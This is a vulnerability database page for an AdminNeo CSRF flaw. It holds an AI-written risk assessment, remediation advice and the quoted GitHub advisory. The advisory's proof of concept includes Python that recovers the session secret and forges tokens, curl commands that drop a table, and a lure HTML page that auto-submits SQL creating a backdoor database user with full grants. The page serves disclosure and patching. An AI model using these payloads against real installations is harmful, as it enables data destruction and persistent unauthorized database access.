AdminNeo CVE-2026-96629
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObserve or brute-force a single CSRF token
-
DeliveryLure authenticated victim to malicious page
-
ExploitRecover session secret via one XOR
-
ExecutionAuto-submit forged token carrying arbitrary SQL
-
ImpactExecute SQL in victim session, create backdoor DB user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Cryptographic random values
|
| Exploitation Conditions | Exploitation requires that the target run AdminNeo < 5.5.1 with its default XOR-masked CSRF token scheme (no special configuration needed - the weakness is in the default token generation/verification in functions.inc.php). The attacker must first obtain the session secret, which requires EITHER observing a single valid CSRF token through an out-of-band channel (Referrer-header leak, shared proxy logs, browser history, network sniffing, or limited XSS) and XORing its two transmitted operands, OR performing up to ~1,000,000 blind requests against the ~20-bit rand(1,1e6) session token. The attack then depends on a victim who is currently authenticated to AdminNeo being lured to visit an attacker-controlled page (UI:R), which auto-submits the forged token. Limiting factors that reduce realistic risk: an active authenticated session must exist, user interaction is required, token-observation exploitation depends on a secondary leak channel, and AdminNeo 5.5.1 adds a Sec-Fetch-Site same-origin check that blocks cross-site submission entirely. |
| Impact | The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H, base 6.8 Medium) frames this as a network-reachable, unauthenticated flaw that nonetheless requires user interaction (UI:R, a logged-in victim must visit an attacker page) and carries high attack complexity (AC:H), reflecting the precondition that the attacker first obtain a valid CSRF token or perform blind brute-force. The multi-source signals are mixed: there is a detailed, reporter-validated PoC in the GHSA advisory, but no CISA KEV listing and no EPSS score was supplied, so there is no evidence of active or widespread exploitation. The vuln.today priority Decision label is 'this_month' - a patch-promptly signal, not act_now/emergency - which is consistent with a Medium-severity, non-KEV issue. The crypto design flaw is genuinely severe in mechanism (observing a single token instantly recovers the session secret via one XOR, and the ~20-bit entropy of rand(1,1e6) makes blind brute-force feasible within ~1M requests), so the technical impact is real; however, realistic risk is tempered by the UI:R requirement and by the limited reach of a recent Adminer fork. One conflict worth flagging: the vendor scored C:N (no confidentiality impact), yet the description claims attackers can 'exfiltrate data' - this is defensible because CSRF responses are blocked by the same-origin policy, but a CSRF-created backdoor DB user would grant full follow-on read access, so the practical confidentiality exposure is higher than C:N alone suggests. Net: a real, worth-patching issue, not a drop-everything emergency on current signals. |
| Exploit ScenarioDerived | An attacker obtains one valid AdminNeo CSRF token - via a Referrer-header leak, shared proxy/browser-history logs, network sniffing, or limited XSS - and recovers the session secret with a single XOR because the token transmits both the mask and the masked value. The attacker then lures an authenticated AdminNeo user to a malicious web page that auto-submits a forged token executing arbitrary SQL (e.g. creating a backdoor database user). A detailed PoC exists in the GHSA advisory, reported as validated against a live AdminNeo 5.5.0 instance; the ~20-bit session entropy also permits blind brute-force (~1M requests) with no observed token at all. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 30, 2026
Cross-site request forgery in AdminNeo before 5.5.1 lets anyone who sees a single CSRF token recover the per-session secret and mint unlimited valid tokens, because each token transmits both the XOR mask and the masked value in the clear as '(rand XOR secret):rand'. The session secret itself is drawn from rand(1, 1e6), roughly 20 bits, so it can also be brute-forced with up to about one million requests, and verification uses loose '==' comparison. Exploitation still requires a logged-in AdminNeo user to be lured into submitting the forged token (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H, base 6.8), and the advisory ships a PoC validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2); there is no CISA KEV entry and no confirmed active exploitation. With a forged token the attacker can run arbitrary SQL through the victim's session, including dropping tables, exfiltrating data and creating backdoor database users.
RemediationAI
Upgrade AdminNeo to 5.5.1 or later; the fix is in commit f575eee5e35eacd6c55a9912648e9e8fe24a9f44 and the release at https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1, with details in advisory GHSA-wm25-49w3-5qrg. The patch hardens verify_token() by additionally requiring the Sec-Fetch-Site request header to be empty or 'same-origin', which blocks the cross-site auto-submit path used by the published attack page; note that the commit diff does not change token generation, so the underlying '(rand XOR secret):rand' format and the ~20-bit rand(1, 1e6) session secret remain, meaning any deployment that depends on token secrecy should treat 5.5.1 as the vendor-supplied remediation baseline rather than a redesign of the scheme. Because exploitation in the assessed scenario depends on a secondary leak channel (Referrer header, shared proxy logs, browser history, network sniffing or limited XSS) or on roughly one million blind requests, deployments that cannot patch immediately should at minimum keep AdminNeo traffic on TLS and avoid exposing tokens through cross-origin referrers - though the available sources do not document these as vendor-endorsed workarounds, and no formal alternative mitigation is listed; updating is the only complete fix the advisory describes.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
AdminNeo is a PHP/MySQL database administration front end distributed as composer/adminneo-org/adminneo. Its CSRF defence in admin/include/functions.inc.php implements a BREACH-resistant masking scheme: get_token() computes ($rand ^ $_SESSION["token"]) . ":$rand" with $rand = rand(1, 1e6), and verify_token() splits the submitted value on ':' and recomputes the XOR. Because the mask and the masked value travel together, the masking provides no secrecy - secret = masked XOR rand in a single operation - which is the CWE-330 (use of insufficiently random values) weakness, compounded by the ~20-bit entropy of the session token set in admin/include/auth.inc.php and by a loose '==' comparison that invites PHP type juggling. The resulting practical impact class is CWE-352 cross-site request forgery, since possession of the secret converts into arbitrarily many valid tokens that a third-party page can auto-submit. The upstream fix commit f575eee5e35eacd6c55a9912648e9e8fe24a9f44 appends an origin gate to verify_token(): the check now also requires $_SERVER["HTTP_SEC_FETCH_SITE"] to be empty or 'same-origin', with the CHANGELOG entry 'Check Sec-Fetch-Site header'. That diff addresses the cross-site submission path only; the token generation code shown in the commit remains XOR-masked with the same low-entropy rand() source. The root issue was originally reported in Adminer (GHSA-q4f2-39gr-45jh / GHSA-33j4-hc95-pggg) and carried into AdminNeo.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H
Remote CSRF needing a logged-in victim to visit an attacker page (UI:R) and prior token observation or brute-force (AC:H); attacker is unauthenticated (PR:N); same-origin policy blocks reading responses so C:N, while forged SQL yields I:H/A:H.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.
Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh
Details
Token generation in admin/include/functions.inc.php lines 1181-1184:
function get_token() {
$rand = rand(1, 1e6);
return ($rand ^ $_SESSION["token"]) . ":$rand";
}Token verification in lines 1189-1192:
function verify_token() {
list($token, $rand) = explode(":", $_POST["token"]);
return ($rand ^ $_SESSION["token"]) == $token;
}Session token initialized in admin/include/auth.inc.php lines 327 and 385:
$_SESSION["token"] = rand(1, 1e6);Three distinct weaknesses:
- Instant recovery: The token format
(rand XOR secret):randtransmits both operands. Recovery is trivial:secret = masked_value XOR rand. - Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
- Loose comparison:
verify_token()uses(loose comparison) instead of=, enabling PHP type juggling.
PoC
Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).
Step 1: Observe a single CSRF token
Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:
<input type='hidden' name='token' value='222277:990527'>Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.
Step 2: Recover the session secret (instant, 1 XOR operation)
observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR - zero additional requests needed.
Step 3: Forge unlimited valid CSRF tokens
import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370Each forged token is unique and valid. The attacker can generate as many as needed.
Step 4: Execute arbitrary SQL with the forged token
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=729376:481370" \
--data-urlencode "query=DROP TABLE csrf_victim_table;" \
-d "limit=0"Step 5: Verify a random wrong token is rejected (control)
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=111:222" \
--data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."Weaponized CSRF attack page
In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:
<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
<input type="hidden" name="token" value="729376:481370">
<input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
<input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>Impact
- Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE - all accepted by the server.
- An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
- With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
- The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-wm25-49w3-5qrg
NVD
CVE.org
Exploit-DB